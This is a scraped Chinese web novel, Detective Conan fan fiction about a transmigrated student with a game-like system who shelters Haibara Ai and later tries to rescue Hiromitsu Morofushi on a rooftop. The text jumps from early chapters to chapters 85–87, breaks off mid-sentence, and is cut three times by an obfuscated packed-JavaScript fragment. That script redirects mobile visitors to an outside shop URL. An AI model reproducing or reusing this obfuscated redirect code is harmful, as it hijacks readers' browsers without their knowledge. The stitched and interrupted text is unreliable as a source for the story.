《开挂之后在柯学世界养女儿》 1. 第 1 章 《开挂之后在柯学世界养女儿》全本免费阅读 Chapter 1 1. “砰!” 伴随一声巨响,林溪从天而降,狠狠摔在了垃圾堆上。 冲天的臭气涌入鼻腔,林溪一边生理性的干呕,一边从垃圾堆中爬起来,顾不得身上的疼痛和脏污,点开在她眼前悬浮的系统框框。 【初始化中……初始化完成】 【检测到您无存档,已自动开启新游戏】 【剧情加载中……生成完成】 【玩家004753,欢迎来到柯南重制版,请尽情发挥您的想象力,补全剧情,创造属于您自己的故事吧】 林溪:“???” 什么玩意? 她穿越了? 2. 林溪来自21世纪的中国,是某普通本科的普通女大学生,在某天晚上熬夜备战考研的时候不幸猝死,穿到了这个世界。 身上还带了一个系统。 林溪研究了一下这个系统,这是个游戏系统,有存档-读档、小地图、人物、背包、剧情目录和技能树界面。 玩家可以通过补全剧情获得经验值,经验值可以兑换成点数点技能树。 林溪点开技能树,沉默了。 拆弹、狙击、易容、隐匿…… 格斗、侦察、计算机…… 这是什么特工/杀手模拟器吗?! 这种技能日常生活真的用得到吗? 普通人·出生在和平国家·过了这个月就21岁·老实本分·清澈愚蠢大学生·林溪窒息了。 再看右上角的游戏角标。 【名侦探柯南·剧情重制版】 林溪释然了。 原来是柯南世界啊,那没事了。 ……等等。 柯南世界?她真的不会走在街上突然死掉吗! 林溪:惊恐。 3. 俗话说,既来之,则安之。 林溪忍着恶臭,检查起自己的身体状况来。 手臂上和腿上有好几处淤青和几处浅浅的伤痕,应该是刚才摔下来的时候碰到的。 身上的衣服是她穿越前穿的睡衣,脚上的拖鞋不知道掉下来的时候飞哪去了,她现在脚上只穿着棉袜。 一阵冷风吹过,她打了个哆嗦。 现在她浑身上下脏兮兮的,还带着一股垃圾堆的臭味。 而在十分钟之前,她还在温暖的家里熬夜刷题。 这个世界太荒谬了,林溪面无表情的想。 她在系统背包里找到了一部手机、一把钥匙和一个学生证。 手机是翻盖手机,林溪检查了一下,没有什么新的消息,没有联系人,也没有通话记录,一片空白。 钥匙应该是系统给的住所钥匙,但同样什么标识也没有,她根本不知道她的房子在哪。 ……到底是什么倒霉的人会有钥匙但不知道家在哪啊! 一定是她降落的方式有问题! 她最后翻出学生证,学生证上面写着她的姓名和学院。 【东都大学艺术学院】 【姓名:林溪】 还有附一张她的照片。 对于现在的她来说……也没什么用。 她叹了口气,正要用手机搜索东都大学的地址时,突然听见旁边的垃圾堆有响动。 她警惕地望过去,只见垃圾堆上冒出了一个浅茶色的脑袋。 是一个小女孩。 穿着不合身的白大褂的、奄奄一息的小女孩。 该不会是……和柯南一起变小的那个天才科学家小女孩吧! 林溪打开系统面板,在人物那一栏往下翻。 【灰原哀】 【曾用名:宫野志保】 【曾隶属黑衣组织,代号为雪莉,已叛逃。】 旁边是一张高清脸照。 林溪仔细对比了一下,确认这个小女孩就是灰原哀。 她穿越前没怎么看过柯南,只是有个笼统的印象,连小女孩的名字都不记得了,只记得她笑起来很可爱,还总被一堆人惦记着想要杀她。 林溪走到小女孩跟前,轻声问到:“嘿,你还好吗?” 茶色脑袋动弹了一下,缓缓抬了起来。 4. 灰原哀已经没有力气了。 服下自己制作的APTX4869胶囊,忍着身体变小带来的剧痛、从组织基地的废弃物通道爬出来走到这里,已经耗费她所有的力气。 她倒在肮脏的垃圾堆中,发烧让她的身体忽冷忽热。 她试图裹紧身上的白大褂,希望借此获得一些安全感。 总是带着温柔笑意的那张脸又一次浮上脑海。 姐姐…… 她真的想放弃了。 今天侥幸逃出组织,又能怎么样呢? 她已经没有家了。 灰原哀闭上眼睛,任由泪水淌过她的脸颊。 朦胧中,她听见有人在喊她。 那声音很温柔。 ……是姐姐吗?也许人死后真的会来到天国…… 她勉强抬起脑袋,看见了一双焦糖色的眼睛。 非常温暖的色调。 5. 林溪问完那句“你还好吗”就后悔了。 面前的小女孩看起来一点都不好。 眼角还挂着泪呢。 她把小女孩抱起来,额头贴了贴她的额头,确定她发烧了。 她点开剧情列表,上面显示她正在现在正在进行【雪莉叛逃】的剧情。 【进行中】 【雪莉叛逃:组织代号雪莉的宫野志保得知姐姐被杀,以停止APTX4869研究的方式表示抗议,结果被组织囚禁在瓦斯室。绝望的她服下了藏着的APTX4969想要自杀,没想到身体缩小,和工藤新一一样变成了儿童时期的模样,得以挣脱了手铐,从废弃物通道逃了出来,遇到了东都大学在读大学生林溪。】 【参考选项A:将雪莉送到工藤新一家,交由工藤宅隔壁的阿笠博士 2. 第 2 章 《开挂之后在柯学世界养女儿》全本免费阅读 Chapter 2 7. 灰原哀是被食物的香气唤醒的。 她睁开眼睛,看见陌生的天花板,微微一怔。 目光所及是布置温馨的卧室,整洁干净的环境。而自己则被包裹在干燥柔软的被子里,还换上了……新的睡衣…… ……姐姐? 灰原哀内心升起新的希翼,又迅速被自己否定。 姐姐已经被那帮黑色的家伙杀死了。 她动作轻轻地踩在木制地板上,发现一旁放了一双和她脚尺寸一致的棉制拖鞋。 灰原哀犹豫了一下,还是穿上了。 她推开卧室的门,客厅和卧室同样布置的十分温馨。墙上贴着浅绿色的墙纸,家具采用了木制家具,右边的窗户正对着玄关,窗帘拉开,阳光洒满了整个居室。 一个身影正在厨房忙碌着。 她注意到灰原哀的到来,转身自然地将一杯已经晾的温热的白开水递给了她。 “先喝点热水,早饭一会儿就好。” 她的蜜糖色眼睛笑得微微眯起来,黑色微卷的头发长过肩,轻柔地披着。 似乎是看出了灰原哀的警惕和疑惑,她接着解释道:“你昨晚发烧了,意识也不太清醒,晕倒在我家附近,我就自作主张把你带回家了。” “我本来想带你去医院,但你让我别去。”林溪一本正经地说着谎话,“我想你出现在那里肯定有你自己的原因,对吧?” 灰原哀手捧着热水,闻言微微低下了头。 林溪没忍住,用手轻轻揉了揉她的小脑袋。 “没关系的,有什么问题咱就解决什么问题,”她说,“你已经安全了。” 8. 灰原哀鼻子一酸,她掩饰般地双手捧起杯子,一口一口地喝起水。 她恐怕以为我是问题家庭的孩子吧?灰原哀想。 家暴、或者更糟糕的家庭问题,无家可归的小孩,被路过的好心大姐姐收留,从此开启新的生活…… 多么美好的故事,如果她真的是……如果她真的是这样就好了。 那个组织迟早会找到她,杀死她,还有她身边的人…… 她永远都不可能获得救赎…… “我叫林溪,你叫什么名字?”林溪突然开口问道。 这孩子怎么又开始emo了?不行,她要打断施法。 灰原哀愣了一下,低下头思考。 趁着这个时间,林溪将厨房里烤好的面包片和煎好的火腿和蛋端出来,又倒了两杯热牛奶。 一日之计在于晨,一天之饭在于早餐。 不管熬夜到几点,第二天林溪都会起床吃早饭……然后再倒头补觉。 不好好吃饭会长不高。 等她将餐桌布置好后,灰原哀用手轻轻抓住了她的衣角。 “灰原……哀,我叫灰原哀。”她说。 林溪笑了笑,说道:“很好听的名字!果然,可爱的小姑娘就是要配可爱的名字。” “快吃饭吧,小哀,要好好长身体哦。” 9. 林溪昨晚上把系统给的房子全部检查了一遍。 除了正常的个人生活物品,还有林溪的身份证、一沓她的照片,以及一些现金和银行卡。 系统给的身份看起来并不差钱,至少对于学生公寓来说,这间房子算是装修很好的了。 她早上起来就拿着钱去附近的超市采购了一番,给小哀买了好几套衣服。 银行卡密码她昨天试了,是她的玩家编号。 她现在手里能用的钱比上辈子多得多。 她让灰原哀试穿了好几套衣服,莫名有一种在玩奇迹XX的感觉。 好上头。 她女儿真可爱。 林溪把地图打开,给“灰原哀”的那个小点做了个特殊标记。 这样就不怕小哀走丢了。 这个系统地图上面有很多小点,多数是灰色的小圆点,林溪猜测这些都是普通人。少部分是蓝色的,比灰色小圆点大一些,灰原哀的就是蓝色的。还有些点是红色的和绿色的。她试着点开过这些点,除了灰原哀能点开之外,其他的都没有任何反应。 林溪猜测只有等剧情推进,或者等到她遇见那些人,这些点才能点开。 剧情目录也是一样,清一色的点不开,很多还打了码,加了特殊字符,她根本看不懂。 比如这个在列表最上面的:【未完成】【■■的诞生:■■并不是从来就有的,它诞生于一个■■■■■,从此■■与■■便笼罩了■■。】 几乎把能挡住的关键词都挡住了。 林溪试着点了一下,系统提示【未满足前置条件,无法进入剧情节点】。 Fine。 她把剧情列表往后拉,找到【雪莉叛逃】那一栏,发现它的任务描述又变了。 【……林溪将她带回了自己的公寓中,宫野志保给自己起了一个新名字:灰原哀。这似乎预示着她即将迈进崭新的生活。然而黑色的阴影仍然在她身后,如影随形……】 在它后面刷新了一个新的剧情。 【未完成】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942139|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林溪当时正在厨房研究怎么做出好喝的百香果柠檬茶。系统的更新让她不得不停下手中的动作,打开面板看了一眼。 【紧急任务】【未完成】 【折翼飞鸟】 【组织代号苏格兰的白川浩,真实身份居然是警视厅公安警察。在身份暴露之后,他将会面临组织的通缉,以及随之而来的无穷无尽的追杀。最终,在一个天台,他开枪结束了自己年轻的生命,并将身份永远掩埋,等待着某一日重见天日。】 【参考选项A:亲手杀死诸伏景光。】 【参考选项B:让安室透或诸星大杀死诸伏景光。】 【参考选项C:让诸伏景光自杀。】 【完成紧急任务预计获得经验值30000点、有弹孔的手机X1。】 林溪吃了一惊。 咦,这么早吗?她还以为会再晚一点,诸伏景光才会暴露。 这次任务给的经验值也好慷慨。 而且,系统给出的这三个选项…… 跟以前不一样了,林溪摸了摸下巴,心想,以前的参考选项虽然有些很奇葩,但是几个选项之间差异还挺大的,起码得到的是不同的结果。 这三个选项没什么本质上的区别,无论选哪个,最后的结果都是诸伏景光死亡。 她叉掉面板,继续将手中的百香果肉用勺子挖出来,泡入漂浮着柠檬的果茶中,然后将果茶放入冰箱冷藏。 将一切处理好之后,她舒了口气,解开围裙,随手挂在衣架上,上了二楼,敲了敲书房的门。 在门内传来“请进”二字后,林溪推开门:“志保~ ” “怎么了?”宫野志保正捧着一本特别厚的小说看。 林溪猜测那是一本《战争与和平》或者《唐吉坷德》,因为旁边还搁着一本同样厚的书,应该是它的上册或下册。 “我有点事情,要出门一趟。尽量在晚饭之前回来,好么?” “厨房冰箱冰了水果茶,还放了三明治,别饿着自己。” 宫野志保:“知道啦。” 哎呀,每次林溪还没开口,她都知道她要说什么了。 她又不是不会照顾好自己的小孩子。 “OKK。我尽量早点回来!” 林溪轻轻关上房门,然后咧开嘴,风一样跑出门。 好久!没有!新任务了! 好吧,她承认,咸鱼太久了也会感觉无聊。 来点刺激任务活动一下筋骨。 林溪一直是个叛逆的人。看这个参考选项ABC,她一个都不想选。 干嘛要让可爱的小警官死? 哼哼哼,剧情,她来了!她带着她的挂来了! 改变柯南剧情,我辈义不容辞。 …… 这时候的她还不知道,她将会为自己的这个想法付出多大的代价。 . “该死的老鼠。”琴酒厌恶地皱眉。 “我已经给BOSS发消息了。”朗姆说,“通缉令也发了。所有的干部都得到了消息,他活不下来的。” 琴酒有些头疼。 为什么偏偏是她手底下的人出问题? 这些该死的卧底,这几年越来越多了,就像阴暗角落里的蟑螂,打死一只还有一只。 85.推吧,西西弗斯-天台 一想到这里他就有些焦躁。 卧底、卧底,又是卧底…… 总有一天,他要将组织里所有的老鼠都揪出来。 以前他一脸冷酷地在林溪面前说过这句话。 林溪当时什么也没说,但脸上的表情分明在憋笑。 然后转头就把他的备注改成了【组织专用灭鼠药】。 他有次跟她一起出任务的时候,在她手机上瞥见的。 琴酒:…… 无语…… 从此以后,他就再也不再当着她的面提起卧底了。 他讨厌【灭鼠药】这个备注。 但是现在卧底又出现了,而且还是她带的新人。 最重要的是,这个新人是他亲自推荐给她的。 琴酒脸色阴沉地背起枪袋,手上的手机不断传来其他成员发来的信息,全都是追缉那人的最新进度。 来看看,小老鼠,除了地狱,你还能逃到哪里去? . 诸伏景光的左臂中了弹。 他喘上一口气,捂住滴答流血的地方,看了看眼前的阶梯。 已经没有办法了,他的位置已经完全暴露了。前面的街口有组织的人在,往前走自投罗网,往后走也没有退路,他只能上了街边的这栋废弃大楼。 这栋大楼很熟悉,诸伏景光来过这里。 他在这里架过狙,瞄准过吉成龙二——那个处在虐童犯罪链的下游的心理医生。 当时他要开枪的时候,潘趣制止了他。 想到这里,诸伏景光恍惚了一下,随即有些想笑。 当时她说那些话的时候,可不知道她面前的人是个卧底。 依她的性格,在知道被背叛之后,亲手杀死他不可吧? 不,连背叛都算不上,从见面的那一刻开始,他就是在费尽心思地骗取她的信任、随时准备将利刃刺入她的心脏。如果连站在一起都没有过,谈何背叛呢。 只是想起来红发少女或认真或搞怪的样子,他还是产生了一些夹杂着悲伤的愧疚感。 意识到这一点,他轻轻笑了笑: 他真不适合当卧底。 他缓缓沿着台阶上楼,灼痛感不断地从小臂中弹处传来。 zero…… 对不起,不能和你一起走下去了。 那些家伙发现他公安的身份了。 也许他只能逃到黄泉之路了。 和上次一样,他从安全通道上了顶楼,又爬上天台。 然后毫不意外地在那里发现了红发少女的身影。 是潘趣。 他就知道她一定会来的。 “你来了。”红发少女开口。 天台的风很大,扬起了她的裙摆。 ——他才注意到她今天又穿着白色的裙子。 和组织喜欢穿黑衣的其他成员不同,潘趣偏爱浅色的服饰。 “我来了。”他说。 “你不该来的。” “……我已经来了。” “你……”对面少女好像再也憋不住笑似得,原本冷厉的眉眼一下子弯了下来,“你不该来,我不该来,可惜我们现在都来啦……不好意思,我再也不玩烂梗了,我只是没想到你还会接我的梗。” 诸伏景光疑惑了一下,随即释然: 潘趣开始说奇怪的话的时候就不要试图搞懂了,让她自己开心就好。 他不知道她为什么笑。就像他不知道她接下来会做什么,也不知道他们之间还有什么话可说。 “白川,你叫什么?” 潘趣开口就问了一个他绝对没法回答的问题。 卧底的身份是最大的秘密,就算他死亡,这个秘密也不应该被其他人知道。 他浅笑了一下,带着几分抱歉,摇了摇头。 “杀了我吧。” 少女撇嘴:“我不喜欢选项A。毫无悬念的选项,一点惊喜都没有,剧情依照着简单的逻辑进行:你是卧底,我是坏人,我发现了你的身份,所以在有我们共同记忆的天台上杀了你——没意思。换一个!” 诸伏景光有些惊奇,同时又有些放松:惊奇是因为在这种情况下少女居然还能和他像从前一样聊天,放松是因为潘趣确实已经知道他是卧底了,至少从这一刻开始,他不必再在这一点上欺骗她了。 “还有什么其他选项吗,前辈?” “有。”林溪回答很快,“B是让诸星或者安室杀死你,C是我把枪给你,让你自我了解。你觉得我会选哪个?” 诸伏景光认真想了想:“……D吧。” 林溪:“?” 她刚才有说D选项吗? 不是只有ABC? “为什么?”她很感兴趣地问道。 “B选项,让诸星和……安室杀死我。曾经一起训练、一起进步的好友突然被发现是潜入的敌人、所以在回忆过往的种种美好中杀死敌人这种情节,和电视剧里常演的剧情一样,前辈一定会觉得俗套。而C选项,让我自我了解,对于前辈来说,这个选项更无聊吧?” 红发少女若有所思。 “确实很无聊……算了,别说这些了,来,白川君,先把伤口包扎一下。” 她摸出一卷绷带,是系统背包里的【速愈绷带】。在诸伏景光顺从的配合下,她将他染血的卫衣撩上去,将狰狞的伤口绑好。 不知道是不是心理作用,绷带刚一缠上,诸伏景光就感觉左臂的烧灼感减轻了很多,取而代之的是药材的清凉感。 诸伏景光感觉自己左臂又能动弹了。 他安静地看着林溪,等待着少女的下一步安排。 那模样看上去十分温顺。 他的左臂被少女轻轻抬起又放下,好像在检测他的左臂是否还有用;然后她又拉起他的右手,从怀中摸出一把枪,放在了上面。 诸伏景光握住枪:“给我的?” 林溪嗯了一声:“路口被堵住了。枪拿着防身,跟紧我,我带你出去。” “……出了这里,要去哪里呢?” “那要看你咯。我只管杀不管埋……啊不是,我只管救不管养啊,你看你想去哪个国家,我给你安排安排?反正别留在日本,我不想在主线里面看见你,总感觉会变得很麻烦……” 诸伏景光忽略掉少女后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942140|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面他听不懂的话:“放过我,你不会有麻烦吗?” “……我说,”林溪无语地看着他,“与其担心别人,不如先关心关心自己吧?你眼下的处境可是相当危险哦?” 前有狼后有虎的,自己还受了伤,不赶紧想办法逃跑,倒关心起她来了。 诸伏景光垂下眼:“你才是。你应该知道我们的立场相悖吧?我是公安卧底……” “哎呀哎呀,”林溪摆摆手打断他,“你好啰嗦,白川君!我知道啦!公安卧底怎么了?卧底多了去了,就算有天我发现你们三个都是卧底也不会有多惊讶的。” 他们酒厂是这样的,真酒也就那么些,其余全是自来水、勾兑酒和假酒。 诸伏景光想了一下,觉得潘趣说的对。她带的三个新人,就已经出了他和zero两个卧底了,潘趣是有什么吸引卧底的体质吗? “走这边。”林溪拉着诸伏景光,顺着台阶,不过走的不是诸伏景光上来的那条路,而是另外一侧的路。 系统地图上,一个特别标记的红点在另一侧上了楼,和他们几乎擦肩而过。 是赤井秀一。 另一个特别标记的红点在大楼不远处,正在飞速靠近。 这个是安室透。 林溪叹了口气:“你知道吗?刚才只要你选了B,现在说不定已经实现了。” 这两个家伙简直就像是追踪导弹一样,追在诸伏景光后面。知道的明白他们可能是想办法要放跑同为卧底的小公安,不知道的以为他们有什么深仇大恨,像闻到血腥味的鲨鱼似的,闻着味儿就来了。 诸伏景光愣了愣:“他们来了吗?也是,谁被背叛都会想要报仇吧。” zero…… 林溪:…… 她现在有一种自己已经看破一切却必须装作什么都不知道的憋屈感。 卧底当着另一个卧底的面杀死另一个卧底的地狱戏码,到底是谁想出来的啊! 她不再说话,拉着诸伏景光下了楼,让他坐上自己摩托车的后座。 现在的她已经不是从前的她……啊不是,已经不是未来的她,她已经不是从前那个恐怖的马路杀手了! 街头巷战,机车逃跑,她是熟手。 “抱紧我!”她喊了一声,摩托嗡嗡地蹿了出去,风从她的发间掠过,让诸伏景光又想起了她从前带着他,在长野县吃荞麦面、兜风,又把他丢在峯苫组工厂的经历。 他忍不住笑了笑,心中竟然升起一种不可思议的轻松:就算前方是黄泉之路,像这样走上最后一段好像也不错? 在林溪的车技和系统配置的摩托车超高的性能加持之下,他们很轻松地越过了前方组织的围堵和后方组织的追缉。 林溪准备带着身后的卧底先生前往机场——诺亚已经定好了机票,诸伏景光既然没说想去哪里,她就定了英国的机票,准备把他丢在那边,让他好好放个假。 说实话林溪在安排的时候,都有点羡慕诸伏景光了。 瞧瞧,在二十来岁的大好年纪,直接一键退休,比别人少走了四十年的弯路。 但就在他们出路口的时候,意外发生了。 86.推吧,西西弗斯-自杀 组织的一个外围成员居然躲在路口后面的建筑后,对着他们射冷枪。 像这种在剧情里都不露脸的NPC,在系统地图上的显示跟路人一个样儿,都是一点不起眼的灰色小点。 所以林溪没有注意到这个NPC。 在他们快要越过街口的时候,他突然掏出抢来,冲着他们就开了枪。 林溪反应速度很快,她迅速侧身,子弹穿过她的发丝。 这个组织成员肯定不认识潘趣。他认不出那头标志性的红发,还颇有胆量,见到直冲过去的摩托车一点不怕,对着车上二人就是一顿乱射。 林溪掏出手枪给他来了一发,开着摩托冲了出去。但她已经感觉到抓住自己的肩膀的手慢慢松掉。 死亡来的如此迅速,诸伏景光甚至没能来得及再跟林溪说上一句话。 林溪看见他腰腹止不住的血,心知他一定中了刚才那组织成员的好几枪。 【已完成……】 趁着系统还在慢慢生成任务文字,林溪手速很快,啪的一下点了读档。 于是她又回到了半小时前熟悉的天台上。 诸伏景光还没上楼的时候。 林溪头疼地按了按太阳穴,为自己的疏忽懊恼。 从她接到任务提示到她来到这里,时间实在太短了。 短到很多事情她都来不及准备…… 最稳妥的方法应该是她和诸伏景光一起易容之后潜出去,但时间太短,根本来不及易容。 事到如今,只好稍微“滥用”一下职权了。 她用潘趣的身份给围在外面的组织外围成员发了消息,让他们撤退,她要亲自处理卧底。 她消息刚发出去,就收到了琴酒的消息:【?】 她看着这条消息,头更疼了。 这就是为什么她不一开始就用潘趣的身份命令组织成员离开的原因。 琴酒太了解她了,知道她的咸鱼性格。像手底下出现卧底或叛徒这种事,她只会摆摆手压根懒得管——除非她对这个人特别感兴趣,或者又想整什么幺蛾子的时候,才会去打破琴酒原本的安排。 而这“感兴趣”和“想整幺蛾子”的来源,虽然林溪自己不愿意承认,但琴酒知道,她是心软了。 虽然自己知道琴酒了解自己,但总表露出自己这一面……林溪会觉得丢人。 特别是在琴酒面前。 总感觉有损自己冷酷威武的BOSS形象。 现在就是……感觉特别的丢人。林溪捂住脸,惆怅地仰头,回复到:【小琴,我想自己解决这件事情。】 瞧瞧,她的语气多诚恳,就别深究她出现在这里的原因了吧? 【随便你。】 ……完蛋。 就像琴酒了解林溪一样,林溪也很了解琴酒。 她就像熟悉了一只猫猫的脾性那样熟悉琴酒的脾气,知道猫什么时候是安全的、不会伸出爪子挠人,也知道他什么时候会炸毛。 像这种回答,就是他炸毛的表现。 事实上,琴酒确实生气了。 但却不是因为林溪想象中的理由而生气。 他一直都知道林溪心软,还是个颜控,不然二十五年前怎么会把他从实验室带走? 但是这家伙,心软也就罢了,明知道对方是卧底,还要上去继续跟他接触…… 她以为她能永远置身事外、不受伤害? 她不知道那时候…… 琴酒闭了闭眼,将从脑海深处涌上来的混沌回忆压下。 【放心,小琴,你还不知道我吗!】对面好像知道他心里想的是什么似得,回复信息试图让他宽心。 【我办事,你放心!】 ……放心个鬼。 琴酒看了看自己的手。 是一只有力的、成年男性的手,已经不再像多年前那样稚嫩了。 身为一把刃,他已经足够锋利了,为什么不肯多使用使用他呢? . 林溪第二次在天台见到了诸伏景光。 这次还没等他开口,她就将食指放在唇上嘘了一声,将他左臂的衣服撩起来给他包扎。 可恶的系统回档不返还道具,绷带用掉一个少一个。 诸伏景光有些错愕。 在看见潘趣的时候他脑海里闪过了许多念头,包括潘趣会怎么处置他。但他没想到会想现在这样,上来就给他包扎。 而且,他总觉得,潘趣的动作隐隐带着一种……焦急的意味? “您……”他犹豫着开口,虽然不知道为什么潘趣的反应会是这样,但还是乖顺地任由少女动作。 “怎么?” “……杀了我吧。” “你怎么每次都这句话?换一句,不喜欢这个开场白。” “我是卧底……” “早知道了。” “前辈你这样,会给自己带来麻烦……” “如果足够有意思,麻烦一点也是可以接受的。”林溪叹了口气,“只是我刚才发现,救你好像比我想象中的还要麻烦。” “所以说,前辈,你杀——” “——但是这麻烦跟你没关系,诸……呼,白川君。这是我自己的选择,我自己要跟剧情较劲,说句实在话,你才是被卷进来的那个。” 林溪说完这句话之后,他们之间陷入了难言的沉默。 她刚刚是不是想说诸伏? 诸伏景光恍惚地想,自己的身份真是被扒的一干二净。既然如此,那高明哥会不会有危险…… 那天他跟潘趣一起,她分明就认识高明哥。 他记得她还评价过他们长得像。 那时候她就知道吧?故意说这些话,是为了吓吓他吗?那她的目的达到了,自己那时候真的被吓得够呛。 他垂下眼。 林溪比他矮了快一个头,从他这个角度能看,可以看见她长长的睫毛扑扇,正眼神专注地给他包扎。 现在你在想什么,潘趣? ……林溪现在想把自己的嘴缝上。 怎么回事!怎么还能说漏嘴了呢! 都是因为诸伏高明。她喊他喊习惯了,诸伏这个姓就比白川要顺口多了,导致她刚才直接就脱口而出了。 可恶…… “行了,走吧,”她装作什么也没发生,掏出手枪塞到他手里,“拿着这个,从这里出去。” “路口的人已经被我叫走了,所以现在没人阻碍我们两个。” 她拉着诸伏景光,想带着他走下楼梯。 但是没能拉动。 “白川君?”她疑惑道。 “前辈,擅自放我走的话,你也会有麻烦吧?”诸伏景光低下头,阴影打在他的脸上。 他垂下去的手摩挲着林溪刚才递给他的枪。 林溪吃了一惊,就要上前,没想到诸伏景光反应迅速,避开她的手,没受伤的右手拿着枪,对准了自己的太阳穴。 林溪在心中爆了一句粗口。 表面上冷笑道:“你要做什么,白川君?让我观看你的死亡谢幕?” 潘趣生气了。 诸伏景光想。 他还是第一次见她这样,心中有些惊奇,忍不住笑了笑,然后就感觉对面的人周围气压更低了。 “我们是敌人。”他缓慢而清晰地说着,不知道是在说服自己还是在说服对面的人。 或者都不是,他只是说出了自己心中一直以来的想法—— 他们是敌人,敌人之间不需要多余的感情,一切的羁绊都建立在单方面的欺骗之上,所以—— 请冷酷地对待他。 不要对敌人手下留情,更不要为了救别人而将自己置于险地。 他在想,他和潘趣如果不是在组织里遇见,不是以这样的身份,一定能成为很好的朋友吧。 因为这家伙总是能带给人超强的自信心和勇气,让人感觉无论面对什么困难,只要有她在,一切都不是问题。 跟她一起真的很开心。 可惜……这也许是只能在梦里做的假设。 “前辈,你不该来这里的。” 林溪咬牙:“他们怎么不把你两条胳膊都打伤了呢!” 还留了一只胳膊让你拿枪。 “你这家伙根本不适合当卧底!”她大声说道,“完完全全的多愁善感、犹豫不决还瞻前顾后,要是我是你上司肯定要被你气死!” “把枪放下!” 诸伏景光笑了笑,没有听林溪的话,依旧手拿着枪,慢慢往后,退向天台边缘。 林溪眼睛紧盯着他,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942141|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时准备冲上去夺枪,却发现这人虽然左臂受了伤,右臂却很稳,不给她上去的机会。 “前辈,我真的……很高兴能认识你。” 他手指用力,扣下了扳机。 林溪直接回了档。 她要被气笑了。 为什么!要!浪费她的绷带! 知不知道回档不返还使用过的道具啊! 用一次少一次啊! 下次她绝对不会再给他防身武器了! 还很高兴认识她……得了,有他是她的服气。 她又回到了天台。 林溪深吸一口气,按照之前的步骤给组织成员发了消息,不过这次琴酒没回她消息,她松了口气。 在诸伏景光再度上到天台的时候,林溪直接用枪抵住了他脑门。 她算是发现了,诸伏景光这人是有点死脑筋在身上的。 老是执着于身份做什么?如果他有天知道这一切不都过是个游戏,不管是卧底也好、组织也罢,都不过是推动剧情的一份子而已,不会觉得自己纠结的很可笑吗? 既然温柔的劝诱不起作用,那她只好用稍微粗暴一点的方法“逼他就范”咯。 “白川浩。”她脸上扬起微笑,“欺骗我这么久,准备好付出代价了吗?” 然后她就看见面前男人愣了一下,然后温柔地看着她,开口—— 等等,该不会又是那一句—— “杀了我吧,前辈。” 林溪:…… 这个笨蛋。 为什么有人遇到解决不了的矛盾就想用自己的死亡去逃避啊! 她还是那句话,这人真的不适合做卧底。 要是换了赤井秀一来了,绝对一点愧疚感都没有,在她这里骗吃骗喝套情报还天天想要揍她狗头……啊不是,取她首级。 诸伏景光看见他说出这句话之后,眼前的少女好像一下泄了气,把枪放了下来,头也垂了下来。 她拿出绷带,嘟囔道:“这可是第三个了,我总共就五个这个道具,你要是再受伤,我也没有办法了,你只能自己疼着了。” 她将诸伏景光的左臂袖子拉上去,动作熟练地包扎起来。 中途诸伏景光几次想要开口说话,都被林溪无情打断:“不好意思,白川君,你的说话权已经被我剥夺了,你现在只能闭上嘴巴乖乖听我的安排!” “要是无聊的话,你可以想象自己是一只大鸭子,一开口就是嘎嘎嘎的噪音,为了减轻日本城镇居民对于声音污染的负担,你得做一只有修养的鸭子,明白沉默是金的道理……” “或者想象自己是被恶毒巫师施了咒的美丽公主,只要一开口就会变成飞鸟飞走,再也回不到人间的世界……” 林溪是真的怕他再开口,所以滔滔不绝地东扯西扯,而诸伏景光则被林溪的怪话和小故事弄得一愣一愣的,一时间竟真的没有开口。 他稀里糊涂地被带上了林溪的车,稀里糊涂地越过了前面的街口。 他左臂的伤口已经差不多愈合,可以自由活动了。 林溪突然止住了嘴,猛地刹车。 诸伏景光身体一下子前倾,下意识地抱住少女的腰。 回神之后,他连忙松开:“怎、怎么了,前辈?” 林溪皱起眉:“前面有很多警察。” 她看了看系统地图。 虽然系统地图一直没有说明它那些不同颜色的点代表着什么,但林溪也摸出了一些规律: 灰色的点是路人NPC,蓝色的是稍微重要一点点的中立平民,红色的是酒,不管是真酒还是假酒都是红色的,而绿色的是有武装的平民或好人,比如刑警。 前面一堆绿点是什么意思? 这些绿点在前面隐隐形成了一个包围圈,围住了一两个蓝点。 林溪有一种不祥的预感。 她早就想说了,这个任务是不是针对诸伏景光?不仅三个选项全都要他死,路上还总遇见各种各样的事。 就算日本民风淳朴,那也是在柯南出现之后吧!怎么现在跑个路也这么多事儿? “呃,大家,请不要再向前了!前面的道路有很危险的恐怖分子,这条路要被封锁了,麻烦大家绕路……” 急的满头大汗的年轻警察在人群前方喊道。 87.推吧,西西弗斯-爆炸 “恐怖分子,什么恐怖分子?” “前面发生什么事了?” “哎,我还要回家做饭呢……” 林溪身边的人群议论纷纷。 突然前面有人尖叫起来:“快跑啊!这里被放了炸弹!” 